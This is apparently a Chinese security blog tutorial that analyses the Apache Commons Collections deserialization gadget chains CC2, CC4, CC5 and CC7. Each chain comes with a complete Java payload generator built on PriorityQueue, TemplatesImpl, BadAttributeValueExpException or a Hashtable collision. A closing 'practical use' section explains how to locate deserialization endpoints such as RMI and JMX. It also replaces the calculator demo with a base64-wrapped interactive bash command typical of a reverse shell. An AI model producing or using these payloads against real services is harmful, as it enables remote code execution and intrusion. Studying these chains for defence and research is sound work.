先把思路理一下。前面 cc1、cc6、cc3 已经讲过三个核心点:

InvokerTransformer     -> 反射调用方法
InstantiateTransformer -> 反射调用构造方法
LazyMap.get()          -> 缺 key 时触发 transform()
TemplatesImpl          -> newTransformer() 动态加载字节码

剩下 cc2/cc4/cc5/cc7 基本不是重新找 sink,而是在找新的外层入口,把 readObject() 替换成能触发 transform() 或 newTransformer() 的方法。

CC2链

commons-collections4 4.0,常见利用路线:PriorityQueue + TransformingComparator + InvokerTransformer + TemplatesImpl

cc2 的最终目的还是触发 TemplatesImpl.newTransformer(),也就是继续使用 cc3 里讲过的动态类加载。不同点在于 cc2 不用 LazyMap,而是用 PriorityQueue 的排序逻辑来触发比较器

先看 PriorityQueue.readObject():

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();
    s.readInt();

    queue = new Object[size];
    for (int i = 0; i < size; i++) {
        queue[i] = s.readObject();
    }

    heapify();
}

反序列化时会把队列元素读出来,然后调用 heapify() 重建堆。继续往下看:

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

private void siftDownUsingComparator(int k, E x) {
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

关键就在 comparator.compare()。如果我们能控制这个比较器,就能在反序列化重建堆的时候触发自己的逻辑

commons-collections4 里有一个 TransformingComparator:

public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
    private final Transformer<? super I, ? extends O> transformer;
    private final Comparator<O> decorated;

    public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
}

可以看到,只要 PriorityQueue 触发比较,TransformingComparator.compare() 就会调用 transformer.transform()。

那么 cc2 的路线就是:

PriorityQueue.readObject()
  -> heapify()
  -> siftDownUsingComparator()
  -> comparator.compare()
  -> TransformingComparator.compare()
  -> InvokerTransformer.transform()
  -> templates.newTransformer()
  -> TemplatesImpl 动态加载字节码

这里的 InvokerTransformer 不再调用 Runtime.exec(),而是调用 TemplatesImpl 的 newTransformer():

new InvokerTransformer("newTransformer", new Class[0], new Object[0]).transform(templates);

不过本地构造 PriorityQueue 时,queue.add() 也会触发排序,如果一开始就放真 payload,就会在序列化前提前执行。所以和 cc6 一样,先放一个假的无害方法,等队列构造完再反射替换。

完整 payload:

// CC2.java,依赖 commons-collections4-4.0.jar
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    } // 快捷操作不用费劲写多次反射

    public static TemplatesImpl getTemplates() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "uky");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        byte[] bytecodes = Files.readAllBytes(Paths.get("D://!files/whoami/java/out/production/whoami/hack.class"));
        setFieldValue(templates, "_bytecodes", new byte[][]{bytecodes});
        return templates;
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = getTemplates();

        // 先用 toString 占位,防止 add 的时候提前触发 newTransformer
        Transformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        TransformingComparator comparator = new TransformingComparator(transformer);

        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);

        // 替换队列里的真实元素为 templates
        setFieldValue(queue, "queue", new Object[]{templates, templates});
        // 替换真正要调用的方法
        setFieldValue(transformer, "iMethodName", "newTransformer");

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc2.bin"));
        oos.writeObject(queue);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc2.bin"));
        ois.readObject();
        ois.close();
    }
}

这条链的重点不是 PriorityQueue 本身危险,而是它反序列化时要恢复堆结构,只要恢复堆结构就要比较,只要比较器可控,就能把比较动作替换成一次 transform()

CC4链

commons-collections4 4.0,常见利用路线:PriorityQueue + TransformingComparator + ChainedTransformer + InstantiateTransformer + TrAXFilter + TemplatesImpl

cc4 和 cc2 的外层几乎一样,都是用 PriorityQueue.readObject() 触发 TransformingComparator.compare()。区别在于 cc2 直接用 InvokerTransformer 调 templates.newTransformer(),而 cc4 复用了 cc3 的这段:

ConstantTransformer(TrAXFilter.class)
  -> InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
  -> new TrAXFilter(templates)
  -> templates.newTransformer()

也就是说 cc4 的路线是:

PriorityQueue.readObject()
  -> heapify()
  -> TransformingComparator.compare()
  -> ChainedTransformer.transform()
  -> ConstantTransformer 返回 TrAXFilter.class
  -> InstantiateTransformer 实例化 TrAXFilter
  -> TrAXFilter 构造方法调用 templates.newTransformer()
  -> TemplatesImpl 动态加载字节码

构造时仍然要注意提前触发的问题。PriorityQueue.add() 的时候会比较元素,所以先让 ConstantTransformer 返回 String.class,再让 InstantiateTransformer 执行 new String("uky"),这是无害的。队列构造完成后,再把它们反射改成 TrAXFilter.class 和 templates

完整 payload:

// CC4.java,依赖 commons-collections4-4.0.jar
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static TemplatesImpl getTemplates() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "uky");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        byte[] bytecodes = Files.readAllBytes(Paths.get("D://!files/whoami/java/out/production/whoami/hack.class"));
        setFieldValue(templates, "_bytecodes", new byte[][]{bytecodes});
        return templates;
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = getTemplates();

        ConstantTransformer constantTransformer = new ConstantTransformer(String.class);
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
                new Class[]{String.class},
                new Object[]{"uky"}
        );
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                constantTransformer,
                instantiateTransformer
        });

        TransformingComparator comparator = new TransformingComparator(chainedTransformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);

        // 本地构造完成后再替换为真正 payload
        setFieldValue(queue, "queue", new Object[]{templates, templates});
        setFieldValue(constantTransformer, "iConstant", TrAXFilter.class);
        setFieldValue(instantiateTransformer, "iParamTypes", new Class[]{Templates.class});
        setFieldValue(instantiateTransformer, "iArgs", new Object[]{templates});

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc4.bin"));
        oos.writeObject(queue);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc4.bin"));
        ois.readObject();
        ois.close();
    }
}

cc2 和 cc4 对比一下就很明显:

cc2:PriorityQueue -> TransformingComparator -> InvokerTransformer("newTransformer") -> TemplatesImpl
cc4:PriorityQueue -> TransformingComparator -> InstantiateTransformer(new TrAXFilter) -> TemplatesImpl

它们的入口一样,sink 也都是 TemplatesImpl,只是中间替换方法不同。

CC5链

commons-collections 3.1 - 3.2.1,常见利用路线:BadAttributeValueExpException + TiedMapEntry + LazyMap

cc5 又回到 commons-collections3 了。它的核心还是 LazyMap.get(),所以后半段和 cc6 很像:

TiedMapEntry.getValue()
  -> LazyMap.get(key)
  -> ChainedTransformer.transform(key)

区别在于 cc6 用 HashMap.readObject() 触发 TiedMapEntry.hashCode(),cc5 用的是 BadAttributeValueExpException.readObject() 触发 TiedMapEntry.toString()。

先看 BadAttributeValueExpException 的 readObject():

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else {
        val = valObj.toString();
    }
}

这里最关键的是:valObj.toString()。如果我们能把 val 字段换成一个恶意对象,那么反序列化时就会自动调用这个对象的 toString()。

再看 TiedMapEntry.toString():

public String toString() {
    return this.getKey() + "=" + this.getValue();
}

public Object getValue() {
    return this.map.get(this.key);
}

只要 toString() 被调用,就会调用 getValue(),然后进入 LazyMap.get()。所以 cc5 的路线就是:

BadAttributeValueExpException.readObject()
  -> valObj.toString()
  -> TiedMapEntry.toString()
  -> TiedMapEntry.getValue()
  -> LazyMap.get(key)
  -> ChainedTransformer.transform(key)
  -> Runtime.exec()

完整 payload:

// CC5.java,依赖 commons-collections-3.2.1.jar
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        // 先放假链,避免本地构造时触发
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});

        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");

        BadAttributeValueExpException payload = new BadAttributeValueExpException(null);
        setFieldValue(payload, "val", tiedMapEntry);

        lazyMap.remove("key");
        setFieldValue(chainedTransformer, "iTransformers", transformers);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc5.bin"));
        oos.writeObject(payload);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc5.bin"));
        ois.readObject();
        ois.close();
    }
}

cc5 这条链比较好理解:它就是把“反序列化时自动调用 toString()”这件事,转换成 TiedMapEntry.getValue(),再转换成 LazyMap.get()。

不过这条链对 JDK 版本比较敏感,后续 JDK 对 BadAttributeValueExpException.readObject() 做过限制,有些版本不会再无条件调用任意对象的 toString()。

CC7链

commons-collections 3.1 - 3.2.1,常见利用路线:Hashtable + LazyMap 哈希碰撞

cc7 的后半段还是 LazyMap.get(),但是入口换成了 Hashtable.readObject()。

先看 Hashtable.readObject() 里恢复元素的逻辑,它会调用 reconstitutionPut():

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
    throws StreamCorruptedException {
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    for (Entry<?,?> e = tab[index]; e != null; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
    }
    tab[index] = new Entry<>(hash, key, value, tab[index]);
}

关键在这里:

e.key.equals(key)

也就是说,只要两个 key 的 hash 相同,Hashtable 在反序列化恢复哈希表时就会调用 equals() 判断它们是不是同一个 key。

那么我们就需要两个 hash 相同的 key。Java 里经典的字符串碰撞是:

"yy".hashCode() == "zZ".hashCode()

再看 LazyMap 的父类 AbstractMapDecorator.equals():

public boolean equals(Object object) {
    if (object == this) {
        return true;
    }
    return map.equals(object);
}

它会把 equals() 转给内部的 map。而 HashMap.equals() 在比较两个 map 时,会拿一个 map 的 key 去另一个 map 里 get():

public boolean equals(Object o) {
    if (o == this)
        return true;
    if (!(o instanceof Map))
        return false;
    Map<?,?> m = (Map<?,?>) o;
    if (m.size() != size())
        return false;

    for (Entry<K,V> e : entrySet()) {
        K key = e.getKey();
        V value = e.getValue();
        if (value == null) {
            if (!(m.get(key) == null && m.containsKey(key)))
                return false;
        } else {
            if (!value.equals(m.get(key)))
                return false;
        }
    }
    return true;
}

如果 m 是 LazyMap,这里的 m.get(key) 就会进入 LazyMap.get(),只要这个 key 不存在,就会触发 factory.transform(key)。

所以 cc7 的路线是:

Hashtable.readObject()
  -> reconstitutionPut()
  -> e.key.equals(key)
  -> LazyMap.equals()
  -> HashMap.equals()
  -> 另一个 LazyMap.get(不存在的 key)
  -> ChainedTransformer.transform()
  -> Runtime.exec()

构造时需要两个 LazyMap,分别放入会产生 hash 碰撞的 key:

lazyMap1.put("yy", 1);
lazyMap2.put("zZ", 1);

本地 hashtable.put() 第二个 map 时会提前触发一次 equals(),所以同样先用假链。提前触发后,lazyMap2 会被缓存进一个 yy,所以序列化前要把它删掉:

lazyMap2.remove("yy");

完整 payload:

// CC7.java,依赖 commons-collections-3.2.1.jar
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        // hashtable.put(lazyMap2, 2) 时会提前触发一次 equals,并在 lazyMap2 里缓存 yy
        // 删除 yy,确保反序列化时 LazyMap.get("yy") 仍然走 transform
        lazyMap2.remove("yy");

        setFieldValue(chainedTransformer, "iTransformers", transformers);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.bin"));
        oos.writeObject(hashtable);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc7.bin"));
        ois.readObject();
        ois.close();
    }
}

cc7 和 cc6 一样都用了 LazyMap.get(),但是 cc6 是:

HashMap.readObject() -> TiedMapEntry.hashCode() -> LazyMap.get()

cc7 是:

Hashtable.readObject() -> LazyMap.equals() -> HashMap.equals() -> LazyMap.get()

四条链对比

最后把这四条链合起来看:

CC2:
PriorityQueue.readObject()
  -> TransformingComparator.compare()
  -> InvokerTransformer.transform()
  -> TemplatesImpl.newTransformer()

CC4:
PriorityQueue.readObject()
  -> TransformingComparator.compare()
  -> ChainedTransformer.transform()
  -> InstantiateTransformer.transform()
  -> new TrAXFilter(templates)
  -> TemplatesImpl.newTransformer()

CC5:
BadAttributeValueExpException.readObject()
  -> TiedMapEntry.toString()
  -> TiedMapEntry.getValue()
  -> LazyMap.get()
  -> ChainedTransformer.transform()

CC7:
Hashtable.readObject()
  -> LazyMap.equals()
  -> HashMap.equals()
  -> LazyMap.get()
  -> ChainedTransformer.transform()

这四条其实可以分成两组:

cc2 / cc4:靠 PriorityQueue 反序列化重建堆时触发 comparator.compare()
cc5 / cc7:靠不同 JDK 类的 readObject() 绕到 LazyMap.get()

所以后面遇到新的链子也可以按这个方式拆:先找 readObject() 入口,再找它会不会自动调用 compare()、hashCode()、equals()、toString() 这种魔术方法,最后把这些方法继续替换到 transform() 或 newTransformer() 上。

实战用法

先寻找反序列化入口,如果有序列化特征码多用 base64 包装一下,Java 原生序列化一般以 rO0AB 开头。

常见的服务端口:RMI 服务(默认端口 1099)、JMX 服务等

我们通过上面的 payload 构造了一个 cc3 链的利用对象,最后拿到的是 cc3.bin 这段序列化数据。实战里只需要把 hack.java 里的静态代码块换成真正要执行的逻辑,再把生成出的序列化数据传给反序列化入口即可。

例如把弹计算器换成命令执行:

static {
    try {
        String cmd = "bash -c {echo,YmFzaCAtaSA...}|{base64,-d}|{bash,-i}";
        Runtime.getRuntime().exec(cmd);
    } catch (Exception e) {
        e.printStackTrace();
    }
}
avatar

uky

后端安全方向,ctf-web手

RECOMMENDED

floor(rand(0)*2)的奥秘

2025-11-11 09:00:00

Java反序列化-基础部分

2026-3-31 09:00:00

JavaScript沙箱逃逸

2026-4-25 21:52:00

Table of Contents